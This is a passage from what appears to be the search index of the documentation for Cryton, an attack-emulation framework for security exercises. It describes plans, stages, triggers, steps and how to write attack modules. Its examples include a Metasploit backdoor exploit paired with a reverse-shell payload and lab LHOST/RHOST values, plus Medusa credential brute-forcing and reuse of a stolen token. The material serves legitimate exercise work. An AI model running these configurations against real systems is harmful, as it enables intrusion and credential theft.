~/.local/cryton-worker/cryton-worker-complete.bash\" >> ~/.bashrc\n</code></pre> <pre><code>_CRYTON_WORKER_COMPLETE=zsh_source cryton-worker > ~/.local/cryton-worker/cryton-worker-complete.zsh\necho \". ~/.local/cryton-worker/cryton-worker-complete.zsh\" >> ~/.zshrc\n</code></pre> <pre><code>_CRYTON_WORKER_COMPLETE=fish_source cryton-worker > ~/.config/fish/completions/cryton-worker-complete.fish\n</code></pre> <p>You may need to restart your shell for the changes to take effect.</p>"},{"location":"designing-phase/plan-instance/","title":"Plan instance","text":"<p>The second stage is creating a Plan instance. While Template contains unfilled variables (therefore the name \"template\"), Plan instance fills these things in by combining the template with an inventory file. This file contains all information that needs to be filled in the template. After instantiation, everything is ready to create a Run.</p> <p>Warning</p> <p>After creating the Plan instance only the Execution variables can be left unfilled and must be explicitly defined as a string.</p>"},{"location":"designing-phase/plan-instance/#inventory-files","title":"Inventory files","text":"<p>When you create a template, you don't always have all the information you need for directly executing it. Or you simply want to make it reusable for other people in their environment. To provide variability in templates we support inventory files. These inventory files can be used to provide variable values to templates using Jinja language.</p> <p>A valid Plan file is written in YAML format with variables in the Jinja format, which have to be replaced during the instantiation process.</p> <p>Inventory file example: <pre><code>names:\nstage1_target: 192.168.56.102\n</code></pre></p> <p>Template example: <pre><code> # Stage two: target is web server\n- target: {{names.stage1_target}}\n</code></pre></p>"},{"location":"designing-phase/plan/","title":"Plan","text":"<p>Plan is the basic unit of an attack scenario. It contains the name and owner of the Plan and a list of Stages.</p> <p></p> <p>Example of defining a Plan using YAML: <pre><code>plan:\nname: my-plan\nowner: my name\nsettings:\nseparator: \"|\"\nstages:\n...\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description:</p> <ul> <li>name - Sets the name of the Plan.</li> <li>owner - Name of the person who created the Plan.</li> <li>stages - List of Stages that will be executed during the Plan's execution.</li> <li>settings - Parameters for customization of specific functionalities (only <code>separator</code> for now, more about <code>separator</code> here)</li> </ul>"},{"location":"designing-phase/stage/","title":"Stage","text":"<p>A stage is a unit defined by a target and its trigger (for example time of start). It contains a list of attack Steps that are related to each other.</p> <p></p> <p>Example of defining Stage using YAML: <pre><code>name: my-stage\ntrigger_type: delta\ntrigger_args:\nminutes: 5\nsteps:\n...\ndepends_on:\n- previous-stage\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description: </p> <ul> <li>name - Sets the name of the Stage, which is mainly used to define its purpose (must be unique across the Plan).</li> <li>trigger_type - Type of the trigger to be used. For more details see triggers.</li> <li>trigger_args - Dictionary arguments, that are specific for each type of trigger. For more details see triggers.</li> <li>steps - List of related Steps that will be executed during the Stage's execution.</li> <li>depends_on - If the Stage depends on other Stages' actions, we can tell the Stage to wait until the other Stages are finished. For more details see dependencies.</li> </ul>"},{"location":"designing-phase/stage/#triggers","title":"Triggers","text":""},{"location":"designing-phase/stage/#delta","title":"Delta","text":"<p>Schedule execution for a specific time after the plan start, e.g. <code>minutes: 30</code>.</p>"},{"location":"designing-phase/stage/#examples","title":"Examples","text":"<pre><code>trigger_type: delta\ntrigger_args:\nhours: 0 # Wait for x hours.\nminutes: 0 # Wait for x minutes.\nseconds: 0 # Wait for x seconds.\n</code></pre>"},{"location":"designing-phase/stage/#datetime","title":"DateTime","text":"<p>Schedule execution for a specific date and time after the plan started.</p> <p>Trigger arguments:</p> <p>Notice: One argument from the Date and Time part of arguments (every argument except <code>timezone</code>) is required. Besides that, arguments are optional and their default values are used in their absence.</p> Argument Description Default timezone Timezone for DateTime trigger. List of available timezones here. UTC year Year in which stage should be executed. The year of the plan execution in the specified timezone month Month in which stage should be executed. The month of the plan execution in the specified timezone day Day in which stage should be executed. The day of the plan execution in the specified timezone hour Hour in which stage should be executed. 00 minute Minute in which stage should be executed. 00 second Second in which stage should be executed. 00"},{"location":"designing-phase/stage/#examples_1","title":"Examples","text":"<pre><code># This stage would be executed on 2022-01-01 08:20:00 in Europe/Prague timezone\ntrigger_type: datetime\ntrigger_args:\ntimezone: Europe/Prague\nyear: 2022\nmonth: 1\nday: 1\nhour: 8\nminute: 20\nsecond: 00\n</code></pre> <pre><code># This stage would be executed at 16:00 UTC on the day of the plan execution\ntrigger_type: datetime\ntrigger_args:\nhour: 16\n</code></pre>"},{"location":"designing-phase/stage/#http-listener","title":"HTTP listener","text":"<p>The stage will be executed on specific data received in the HTTP request (GET/POST) on the listener.</p> <pre><code>trigger_type: HTTPListener\ntrigger_args:\nhost: localhost # Address of the listener from the Worker's perspective.\nport: 8082 # Port of the listener from the Worker's perspective.\nroutes: # List of routes the listener will check for requests.\n- path: /index # Request's path.\nmethod: GET # Request's allowed method.\nparameters: # Request's required parameters.\n- name: parameter # Parameter's name.\nvalue: value # Parameter's value.\n</code></pre>"},{"location":"designing-phase/stage/#msf-listener","title":"MSF listener","text":"<p>The stage will be executed when a session with the user-defined arguments is returned from Worker. Once the session is saved, it can be accessed using <code>use_named_session: my-stage-name_session</code>, where <code>my-stage-name</code> is the Stage's name.</p> <p>Identifiers are arguments that can be used to identify an MSF session that we are waiting for to trigger the Stage. Arguments in identifiers use partial 'regex' to get matches. For example, they can use 'handler' to match 'exploit/multi/handler'. <pre><code>trigger_type: MSFListener\ntrigger_args:\nidentifiers: # Optional, by default MsfTrigger will try to find a match using 'via_exploit' and 'via_payload' based on the used MSF module and payload\ntype: 'shell'\ntunnel_local: '192.168.56.50:4444' tunnel_peer: '192.168.56.51:35380'\nvia_exploit: 'exploit/unix/irc/unreal_ircd_3281_backdoor'\nvia_payload: 'payload/cmd/unix/reverse_perl'\ndesc: 'Command shell'\ninfo: ''\nworkspace: 'false'\nsession_host: '192.168.56.50'\nsession_port: '4444'\ntarget_host: ''\nusername: 'vagrant'\nuuid: 'o3mnfksh'\nexploit_uuid: 'vkzl8sib'\nroutes: ''\narch: 'python'\nexploit: unix/irc/unreal_ircd_3281_backdoor # Exploit to use.\nexploit_arguments: # Arguments that will be passed to the exploit.\nRHOST: 192.168.56.51\nRPORT: 6697\npayload: cmd/unix/reverse_perl # Payload to use.\npayload_arguments: # Arguments that will be passed to the payload.\nLHOST: 192.168.56.50\nLPORT: 4444\n</code></pre></p>"},{"location":"designing-phase/stage/#dependencies","title":"Dependencies","text":"<p>Creating time-based triggers can be limiting, since the Stage itself can take more time than expected. To ensure that the Stages will execute in the correct order, you can choose to check if some other Stage has already finished, before its execution. All you have to do is define the <code>depends_on</code> argument. </p> <p>This way you can ensure that the sessions and gathered output from other Stages are available.</p> <pre><code>name: stage-name\ndepends_on:\n- other-stage\n</code></pre>"},{"location":"designing-phase/step/","title":"Step","text":"<p>As the name suggests, a Step is equal to one action. All the possible actions will be described later. Every step can have a successor(s) whose execution will follow according to provided conditions.</p> <p>Example of defining Step using YAML: <pre><code>name: get-credentials\nstep_type: worker/execute\nis_init: true\noutput_prefix: credentials_from_localhost\narguments:\nmodule: mod_medusa\nmodule_arguments:\ntarget: localhost\ncredentials:\nusername: admin\npassword: admin\nnext:\n- type: result\nvalue: OK\nstep: create-sesion\n</code></pre></p> <p>To better understand what each argument means and defines, here is a short description (sub-arguments are omitted since they will be discussed in more depth in their section): </p> <ul> <li>name - Sets the name of the Step, which is mainly used to define its purpose (must be unique across the Plan).</li> <li>step_type - Sets what action will the Step perform and what <code>arguments</code> will the Step use, more info below.</li> <li>is_init - Defines if the step is initial (is executed first) and is not a successor.</li> <li>output_prefix - If you want to use a custom name for sharing Step's results (serialized_output) you can define this parameter. By default, the Step's name is used. For more details see Output prefix.</li> <li>arguments - Dictionary of arguments different for each step_type. To check out all possible parameters and types see types section.</li> <li>next - Defines Step's successors, more info below.</li> </ul>"},{"location":"designing-phase/step/#step-types","title":"Step types","text":"<p>Step types are represented by the mandatory <code>step_type</code> parameter which defines what action should be executed in Step. It tells the Worker component what arguments to expect and what functions to run based on them.</p> <p>Currently, there are 3 types:</p> Step type Purpose <code>worker/execute</code> Execution of attack modules. <code>empire/agent-deploy</code> Deployment of Empire agent on target. <code>empire/execute</code> Execution of shell commands or Empire modules on active Empire agent."},{"location":"designing-phase/step/#execute-attack-module-on-worker","title":"Execute attack module on Worker","text":"<p>This functionality uses <code>step_type: worker/execute</code> and enables the execution of an attack module on a worker defined by the following parameters.</p> Argument Description <code>module</code> Defines a path (will be added to the path defined in Worker) to the chosen module that will be executed on Worker. <code>module_arguments</code> Python dictionary (JSON) containing arguments that will be passed to the module. <code>create_named_session</code>(optional) How to name the session this module will create for later usage. <code>use_named_session</code>(optional) Name of created msf session through Cryton. <code>use_any_session_to_target</code>(optional) Ip address of target on which has been created MSF session. <code>session_id</code>(optional) ID of msf session to target. <code>ssh_connection</code>(optional) Arguments for creating ssh connection to target. <p>Execution variables can be used only for the <code>module_arguments</code> parameter!</p>"},{"location":"designing-phase/step/#arguments-for-ssh_connection","title":"Arguments for <code>ssh_connection</code>","text":"Argument Description <code>target</code> Ip address for ssh connection. <code>username</code>(optional) Username for ssh connection. <code>password</code>(optional) Password for ssh connection if <code>ssh_key</code> is not supplied. <code>ssh_key</code>(optional) Ssh key for ssh connection if <code>password</code> is not supplied. <code>port</code>(optional) Port for ssh connection (default: 22)."},{"location":"designing-phase/step/#conditional-execution","title":"Conditional execution","text":"<p>To be able to execute an attack scenario according to some execution tree, Steps provide a way to be executed according to specified conditions. Multiple types of conditions can be used. To use them in designing a Template, a list of dictionaries containing params type, value, and step must be provided.</p> parameter Description type Defines which value you want to compare, according to the output of the parent Step. value Defines the desired value of the selected type. Can be defined as a string (one value) or a list of strings (multiple values). step Defines the name(s) of the Step's successor(s). Can be a string (one successor) or a list of strings (multiple successors). <p>The following are types of conditions together with descriptions of possible values.</p> Type Value Description <code>result</code> OK, FAIL, EXCEPTION Match final <code>result</code> of the Step. <code>serialized_output</code> Regular expression, for example: <code>^my_regex.*</code> Match regex in <code>serialized_output</code> of the Step. <code>output</code> Regular expression, for example: <code>^my_regex.*</code> Match regex in <code>output</code> of the Step. <code>any</code> Value must be omitted Run successor(s) in any case."},{"location":"designing-phase/step/#examples","title":"Examples:","text":"<pre><code>next:\n- type: result\nvalue: OK\nstep: step-to-execute\n</code></pre> <pre><code>next:\n- type: serialized_output\nvalue: - admin\n- root\nstep: step-to-execute\n</code></pre> <pre><code>next:\n- type: any\nstep: - step-to-execute-1\n- step-to-execute-2\n</code></pre>"},{"location":"designing-phase/step/#session-management","title":"Session management","text":"<p>One of the unique features of Cryton is the ability to create and use sessions - connections to the target systems. When you successfully exploit a running network service on your target machine (victim), you open a connection to it. In Cryton, this connection can be given a name and then used during the Plan execution in any Step (which is executed on the same Worker node and supports this functionality). Metasploit Framework session management is used for storing and interacting with sessions, and therefore must be available and running on the Worker node.</p> <pre><code>- name: step1\narguments:\ncreate_named_session: session_to_target_1\n...\n- name: step2\narguments:\nuse_named_session: session_to_target_1\n...\n</code></pre> <p>In the example above, the step1 creates a named session session_to_target_1 (in case it succeeds). Its Metasploit ID gets stored in the database and can be used anywhere in the Plan, not only in the following Step (as seen in the example). When the Plan creates multiple sessions to the same target, and the attacker does not care which he is using, the use_any_session_to_target parameter can be used.</p> <pre><code>- name: step1\narguments:\nuse_any_session_to_target: 192.168.56.22\n...\n</code></pre>"},{"location":"designing-phase/step/#output-sharing","title":"Output sharing","text":"<p>Output sharing is used for sharing gained data (serialized_output) between multiple steps. To go through the data we use a modified version of a dot notation. </p> <p>For example, imagine the following dictionary (Python data structure) <pre><code>{\"credentials\": [{\"username\": \"admin\", \"password\": \"securePassword\"}]}\n</code></pre> If we wanted to access it and get password for admin user using our version of dot notation, we would use <code>credentials[0].password</code> which would return securePassword string.</p> <p>This brings in some limitations:</p> <ul> <li>keys are separated using <code>.</code> (More on how to choose a custom separator here.</li> <li>key can't be in format <code>[integer]</code> (regex representation: <code>^\\[[0-9]+]$</code>) as it represents list (array) index</li> <li>list (array) index can be defined multiple times in the same key for example <code>myKey[1][1]</code> (it must be defined at its end) (regex representation: <code>((\\[[0-9]+])+$)</code>)</li> </ul> <p>There are two techniques for sharing the outputs of modules between steps:</p> <ul> <li>output_prefix</li> <li>output_mapping</li> </ul>"},{"location":"designing-phase/step/#output-prefix","title":"Output prefix","text":"<p>By default, the prefix string is set to the name of the step. Using its name, any other step can query its output (serialized_output of its attack module execution) and use it in its arguments.</p> <p>Alternatively, this prefix can be set to a custom string. This way, multiple equivalent steps can return the same prefixed variable value to be used by a dependent step. For example: <pre><code>- name: bruteforce\nstep_type: worker/execute\nis_init: true\noutput_prefix: custom_prefix\narguments:\nmodule: mod_medusa\n# Should return username and password in a dictionary\nmodule_arguments:\ntarget: localhost\n# Default password list in mod_medusa folder will be used for bruteforce\ncredentials:\nusername: admin\nnext:\n- type: result\nvalue: OK\nstep: mod_ssh\n- name: mod_ssh\nstep_type: worker/execute\narguments:\nmodule: mod_ssh\nmodule_arguments:\nusername: $custom_prefix.username\npassword: $custom_prefix.password\n</code></pre> Also, there is a special prefix named parent, which simply takes the output from the parent step execution (which executed the current step).</p> <p><pre><code>- name: stepA\n...\nnext:\n- type: ...\nvalue: ...\nstep: stepB\n- name: stepB\n...\narguments:\nmodule_name: mod_a\nmodule_arguments:\nusername: $parent.var\n</code></pre> Output prefix cannot be the name of other steps or the value \"parent\", otherwise, it can be any string that doesn't contain \"$\" and \".\" signs.</p>"},{"location":"designing-phase/step/#custom-separator","title":"Custom separator","text":"<p>If for some reason(for example when a key in the module's output is an IPv4 address) you don't want to use <code>.</code> as a separator in output-sharing variables, you can use the <code>settings</code> parameter in the Plan parameters with a <code>separator</code> key for defining custom separator.</p> <p>Example of a custom separator used on parent prefix example above: <pre><code>plan:\nname: my-plan\nowner: my name\nsettings:\nseparator: \"|\"\nstages:\n- name: my-stage\n...\nsteps:\n- name: stepA\n...\nnext:\n- type: ...\nvalue: ...\nstep: stepB\n- name: stepB\n...\narguments:\nmodule: mod_a\nmodule_arguments:\nusername: $parent|arg\n</code></pre></p>"},{"location":"designing-phase/step/#output-mapping","title":"Output mapping","text":"<p>Sometimes you do not care from which module you receive information. Step A and Step B can both return a stolen authentication token. For this reason, you can use <code>output_prefix</code>. But there is an obvious problem! What if both steps return this value under a different name, e.g. <code>token</code> and <code>auth_token</code>? Prefix would not help you much in this situation. For this reason, there is a <code>output_mapping</code> mechanism. <pre><code>- name: step_a\n# Returns 'token'\noutput_prefix: steal\noutput_mapping:\n- name_from: token\nname_to: stolen_token\nstep_type: worker/execute\narguments:\nmodule: mod_a\nmodule_arguments:\n...\n- name: step_b\n# Returns 'auth_token'\noutput_prefix: steal\noutput_mapping:\n- name_from: auth_token\nname_to: stolen_token\nstep_type: worker/execute\narguments:\nmodule: mod_b\nmodule_arguments:\n...\n- name: step_c\nstep_type: worker/execute\narguments:\nmodule: mod_c\nmodule_arguments:\ntoken: $steal.stolen_token\n</code></pre></p>"},{"location":"designing-phase/step/#execution-variables","title":"Execution variables","text":"<p>To assign different values for each Plan execution in Run, you can use execution variables. To define execution variables, use Jinja (with some tweaks) instead of filling the arguments with real values while creating a Plan template. For example: <pre><code>module_arguments:\ntarget: '{{ my_jinja_variable }}'\n</code></pre></p> <p>IMPORTANT: Execution variables must be defined as a string using single quotes, otherwise they won't be matched.</p> <p>And before you execute Run (and its Plan execution(s)), upload your variable(s). (see CLI) </p> <p>Example of a file with execution variables: <pre><code>variable: localhost\nnested:\nvariable: value\nvariable_list:\n- var1\n- var2\n</code></pre></p> <p>If a variable cannot be filled, the Step errors out.</p>"},{"location":"designing-phase/step/#limitations","title":"Limitations","text":"<ul> <li>Execution variables must be defined as a string using single quotes. <pre><code>foo: '{{ variable }}'\n</code></pre></li> <li>In the case of Step type <code>worker/execute</code> you can use these variables only for the <code>module_arguments</code> parameter and its sub-parameters. For <code>empire/agent-deploy</code> or <code>empire/execute</code> you can use these variables for the root <code>arguments</code> parameter and its sub-parameters.</li> <li>Currently, there is support for simple and nested variables only. Examples: <pre><code>foo: '{{ variable }}'\nfoo: '{{ nested.variable }}'\nfoo: '{{ variable[index] }}'\nfoo: '{{ nested.variable[index] }}'\n</code></pre></li> <li>If you want to use more Jinja goodies, use the raw block: <pre><code>foo: {% raw %} '{{ variable + 14 }}' {% endraw %}\n</code></pre></li> </ul>"},{"location":"designing-phase/template/","title":"Template (attack scenario)","text":""},{"location":"designing-phase/template/#what-is-the-attack-scenario","title":"What is the attack scenario","text":"<p>Let's start with the description of the attack scenario. Scenario and Plan can be used interchangeably - Plan is just the name of the element in the formal description of the attack scenario.</p> <p>An attack scenario is a sequence of steps with some common objective. This objective may be data ex-filtration, access to target systems, denial of service, or any other harmful action. For some exercises, every attack should be divisible into different stages. Imagine you have to attack infrastructure with multiple machines - each machine can be a separate stage. Or you want to attack according to some kill-chain, e.g. the first stage would be scanning of the infrastructure, the second is brute force attack on credentials to found systems, etc.</p> <p>The last and most important element of the Plan description is the step. This is the execution of an attack script or tool against the target. A step can be running a Metasploit exploit, or running a Nmap scan. Steps are dependent on each other, and so they create an execution tree, where each of them has set the list of successors based on some condition. The condition may be a success or a string value returned by its predecessor.</p> <p>Putting this all together you get the whole attack scenario (called Plan), which is divided into different stages (called Stage). Every stage is set to run at a specific time, as this is often required by the exercise. And finally, each stage consists of attack steps (called Step), which are organized in a non-binary tree described above.</p>"},{"location":"designing-phase/template/#what-is-the-plan-template","title":"What is the plan template","text":"<p>The first step in designing a Plan (attack scenario) is creating a plan template. A template is basically a Plan object written in YAML.</p> <p></p> <p>The template itself is not a fully described attack scenario. The structure of the Attack (execution tree) is correct, but there are still unfilled places (e.g. IP addresses of targets or other inventory variables). This way a template can be designed before knowing these details and used in multiple different environments.</p> <p>An abstract Plan can look like this: <pre><code>Plan\nStage 1\nStep 1\nStep 2\nStage 2\nStep 3\n</code></pre></p>"},{"location":"development/cli/","title":"CLI","text":""},{"location":"development/cli/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-cli/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_CLI_APP_DIRECTORY=path/to/cryton-cli/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/cli/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-cli.git\n</code></pre></p> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-cli\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/cli/#usage","title":"Usage","text":"<pre><code>cryton-cli\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/cli/#testing","title":"Testing","text":""},{"location":"development/cli/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_cli tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> <pre><code>pytest --cov=cryton_cli tests/integration_tests --cov-config=.coveragerc-integration --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/cli/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_cli --cov-config=.coveragerc-unit\n</code></pre> <pre><code>tox -- tests/integration_tests/ --cov=cryton_cli --cov-config=.coveragerc-integration\n</code></pre>"},{"location":"development/core/","title":"Core","text":""},{"location":"development/core/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-core/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_CORE_APP_DIRECTORY=path/to/cryton-core/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/core/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> <li>Poetry</li> </ul> <p>Recommendations</p> <ul> <li>Override the settings</li> </ul> <p>Clone the repository: <pre><code>git clone https://gitlab.ics.muni.cz/cryton/cryton-core.git\n</code></pre></p> <p>Start the prerequisites: <pre><code>docker compose -f docker-compose.prerequisites.yml up -d\n</code></pre></p> Clean up and rebuild the prerequisites <p>Warning</p> <p>The following script removes unused images and volumes. Make sure you know what you're doing!</p> <pre><code>docker compose -f docker-compose.prerequisites.yml down -t 0 && docker system prune --volumes -f && docker compose -f docker-compose.prerequisites.yml up -d \n</code></pre> <p>Then go to the correct directory and install the project: <pre><code>cd cryton-core\npoetry install\n</code></pre></p> <p>To spawn a shell use: <pre><code>poetry shell\n</code></pre></p>"},{"location":"development/core/#usage","title":"Usage","text":"<pre><code>cryton-core start\n</code></pre> <p>Link to the usage.</p>"},{"location":"development/core/#testing","title":"Testing","text":""},{"location":"development/core/#pytest","title":"Pytest","text":"<pre><code>pytest --cov=cryton_core tests/unit_tests --cov-config=.coveragerc-unit --cov-report html\n</code></pre> <pre><code>pytest --cov=cryton_core tests/integration_tests --cov-config=.coveragerc-integration --cov-report html\n</code></pre> Run specific test <pre><code>my_test_file.py::MyTestClass::my_test\n</code></pre>"},{"location":"development/core/#tox","title":"tox","text":"<p>Use in combination with pyenv.</p> <pre><code>tox -- tests/unit_tests/ --cov=cryton_core --cov-config=.coveragerc-unit\n</code></pre> <pre><code>tox -- tests/integration_tests/ --cov=cryton_core --cov-config=.coveragerc-integration\n</code></pre>"},{"location":"development/core/#django-setup-for-testing-scripts","title":"django setup for testing scripts","text":"<pre><code>import os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"cryton_core.settings\")\nimport django\ndjango.setup()\n</code></pre>"},{"location":"development/core/#django-migrations","title":"Django migrations","text":""},{"location":"development/core/#apply-migrations","title":"Apply migrations","text":"<pre><code>cryton-core migrate\n</code></pre>"},{"location":"development/core/#init-migrations","title":"Init migrations","text":"<p>Migrations in <code>cryton_core/cryton_app/migrations/</code> must be empty <pre><code>cryton-core makemigrations cryton_app\n</code></pre></p>"},{"location":"development/frontend/","title":"Frontend","text":""},{"location":"development/frontend/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>npm</li> </ul> <p>Install dependencies: <pre><code>npm install\n</code></pre></p>"},{"location":"development/frontend/#usage","title":"Usage","text":"<p>Start a development server: <pre><code>npm start\n</code></pre></p> <p>The app will refresh itself when the project changes.</p> <p>We use Husky to run pre-commit hooks</p> <ul> <li>Code formatting with Prettier.</li> <li>Linting with ESLint.</li> <li>Running unit tests with Karma.</li> </ul>"},{"location":"development/modules/","title":"Modules","text":"<p>Modules are hot-swappable, which means the modules don't have to be present at startup. This is especially useful for development but not recommended for production.</p>"},{"location":"development/modules/#input-parameters","title":"Input parameters","text":"<p>Every module has its input parameters. These input parameters are given by the Worker as a dictionary to the module <code>execute</code> (when executing the module) or <code>validate</code> (when validating the module parameters) function. </p>"},{"location":"development/modules/#output-parameters","title":"Output parameters","text":"<p>Every attack module (its <code>execute</code> function) returns a dictionary to the Worker with the following keys:</p> Parameter name Parameter meaning <code>return_code</code> Numeric representation of result (0, -1, -2). 0 (OK) means the module finished successfully.-1 (FAIL) means the module finished unsuccessfully.-2 (ERROR) means the module finished with an unhandled error. <code>serialized_output</code> Parsed output of the module. Eg. for a brute force module, this might be a list of found usernames and passwords. <code>output</code> Raw output of the module"},{"location":"development/modules/#how-to-create-attack-modules","title":"How to create attack modules","text":"<p>In this section, we will discuss best practices and some rules that each module must follow.</p> <p>To be able to execute a module using the Worker, it must have the following structure and IO arguments.</p> <ul> <li>Each module must have its directory with its name.</li> <li>The main module script must be called <code>mod.py</code>.</li> <li>Module must contain an <code>execute</code> function that takes a dictionary and returns a dictionary. It's an entry point for executing it.</li> <li>Module should contain a <code>validate</code> function that takes a dictionary, validates it, and returns 0 if it's okay, else raises an exception.</li> </ul> <p>Path example: <code>/CRYTON_WORKER_MODULES_DIR/my-module-name/mod.py</code></p> <p>Where:</p> <ul> <li>CRYTON_WORKER_MODULES_DIR has to be the same path as is defined in the CRYTON_WORKER_MODULES_DIR variable.</li> <li>my-module-name is the directory containing your module.</li> <li>mod.py is the module file.</li> </ul> <p>Here's an example of a typical module directory: <pre><code>my_module_name/\n\u251c\u2500\u2500 mod.py\n\u251c\u2500\u2500 test_mod.py\n\u251c\u2500\u2500 README.md\n\u251c\u2500\u2500 requirements.txt\n\u2514\u2500\u2500 example.py\n</code></pre></p>"},{"location":"development/modules/#modpy","title":"mod.py","text":"<p>The most important file is the module itself (must be called <code>mod.py</code>). It consists of two main methods: - <code>execute</code> (is used as an entry point for module execution; takes and returns dictionary) - <code>validate</code> (is used to validate input parameters for the <code>execute</code> method; takes dictionary and returns 0 if it's okay, else raises an exception)</p> <p>You can also use prebuilt functionality from Worker.</p> <p>Here's a simple example: <pre><code>def validate(arguments: dict) -> int:\n if arguments != {}:\n return 0 # If arguments are valid.\n raise Exception(\"No arguments\") # If arguments aren't valid.\n\ndef execute(arguments: dict) -> dict:\n # Do stuff.\n return {\"return_code\": 0, \"serialized_output\": [\"x\", \"y\"]}\n</code></pre></p> <p>And also a bit more complex example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import File\n\n\ndef validate(arguments: dict) -> int:\n\"\"\"\n Validate input arguments for the execute function.\n :param arguments: Arguments for module execution\n :raises: schema.SchemaError\n :return: 0 If arguments are valid\n \"\"\"\n conf_schema = Schema({\n 'path': File(str),\n })\n\n conf_schema.validate(arguments)\n return 0\n\n\ndef execute(arguments: dict) -> dict:\n\"\"\"\n This attack module can read a local file.\n Detailed information should be in README.md.\n :param arguments: Arguments for module execution\n :return: Generally supported output parameters (for more information check Cryton Worker README.md)\n \"\"\"\n # Set default return values\n ret_vals = {\n \"return_code\": -1,\n \"serialized_output\": {},\n \"output\": \"\"\n }\n\n # Parse arguments\n path_to_file = arguments.get(\"path\")\n\n try: # Try to get the file's content\n with open(path_to_file) as f:\n my_file = f.read()\n except IOError as ex: # In case of fatal error (expected) update output\n ret_vals.update({'output': str(ex)})\n return ret_vals\n\n # In case of success update return_code to 0 (OK) and send the file content to the worker\n ret_vals.update({\"return_code\": 0})\n ret_vals.update({'output': my_file})\n\n return ret_vals\n</code></pre></p>"},{"location":"development/modules/#test_modpy","title":"test_mod.py","text":"<p>Contains a set of tests to check if the code is correct.</p> <p>Here's a simple example: <pre><code>from mod import execute\n\n\nclass TestMyModuleName:\n def test_mod_execute(self):\n arguments = {'cmd': \"test\"}\n\n result = execute(arguments)\n\n assert result == {\"return_code\": 0}\n</code></pre></p>"},{"location":"development/modules/#readmemd","title":"README.md","text":"<p>README file should describe what the module is for, its IO parameters, and give the user some examples.</p> <p>It should also say what system requirements are necessary (with version).</p>"},{"location":"development/modules/#requirementstxt","title":"requirements.txt","text":"<p>Here are the specified Python packages that are required to run the module. These requirements must be compliant with the Python requirements in Cryton Worker.</p> <p>For example, if the module wants to use the <code>schema</code> package with version 2.0.0, but the Worker requires version 2.1.1, it won't work.</p>"},{"location":"development/modules/#examplepy","title":"example.py","text":"<p>Is a set of predefined parameters that should allow the user to test if the module works as intended.</p> <p>Example:</p> <pre><code>from mod import execute, validate\n\nargs = {\n \"argument1\": \"value1\",\n \"argument2\": \"value2\"\n}\n\nvalidate_output = validate(args)\nprint(f\"validate output: {validate_output}\")\n\nexecute_output = execute(args)\nprint(f\"execute output: {execute_output}\")\n</code></pre>"},{"location":"development/modules/#prebuilt-functionality","title":"Prebuilt functionality","text":"<p>The worker provides prebuilt functionality to make building modules easier. Import it using: <pre><code>from cryton_worker.lib.util import module_util\n</code></pre></p> <p>It gives you access to:</p>"},{"location":"development/modules/#metasploit","title":"Metasploit","text":"<p>Wrapper for MsfRpcClient from pymetasploit3. Examples: <pre><code># Check if the connection to msfrpcd is OK before doing anything.\nfrom cryton_worker.lib.util.module_util import Metasploit\nmsf = Metasploit()\nif msf.is_connected():\n msf.do_stuff()\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\nsearch_criteria = {\"via_exploit\": \"my/exploit\"}\nfound_sessions = Metasploit().get_sessions(**search_criteria)\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\noutput = Metasploit().execute_in_session(\"my_command\", \"session_id\")\n</code></pre></p> <p><pre><code>from cryton_worker.lib.util.module_util import Metasploit\n\noptions = {\"exploit_arguments\": {}, \"payload_arguments\": {}}\nMetasploit().execute_exploit(\"my_exploit\", \"my_payload\", **options)\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\ntoken = Metasploit().client.add_perm_token()\n</code></pre> <pre><code>from cryton_worker.lib.util.module_util import Metasploit\noutput = Metasploit().get_parameter_from_session(\"session_id\", \"my_param\")\n</code></pre></p>"},{"location":"development/modules/#get_file_binary","title":"get_file_binary","text":"<p>Function to get a file as binary. Example: <pre><code>from cryton_worker.lib.util.module_util import get_file_binary\nmy_file_content = get_file_binary(\"/path/to/my/file\")\n</code></pre></p>"},{"location":"development/modules/#file","title":"File","text":"<p>Class used with schema for validation if the file exists. Example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import File\nschema = Schema(File(str))\nschema.validate(\"/path/to/file\")\n</code></pre></p>"},{"location":"development/modules/#dir","title":"Dir","text":"<p>Class used with schema for validation if the directory exists. Example: <pre><code>from schema import Schema\nfrom cryton_worker.lib.util.module_util import Dir\nschema = Schema(Dir(str))\nschema.validate(\"/path/to/directory\")\n</code></pre></p>"},{"location":"development/worker/","title":"Worker","text":""},{"location":"development/worker/#settings","title":"Settings","text":"<p>The best thing you can do is to change the app directory to <code>path/to/cryton-worker/</code>. That way, you can edit the default .env file and use it for the compose files. <pre><code>export CRYTON_WORKER_APP_DIRECTORY=path/to/cryton-worker/\n</code></pre></p> <p>Link to the settings.</p>"},{"location":"development/worker/#installation","title":"Installation","text":"<p>Requirements</p> <ul> <li>Python >=3.8,<3.12</li> 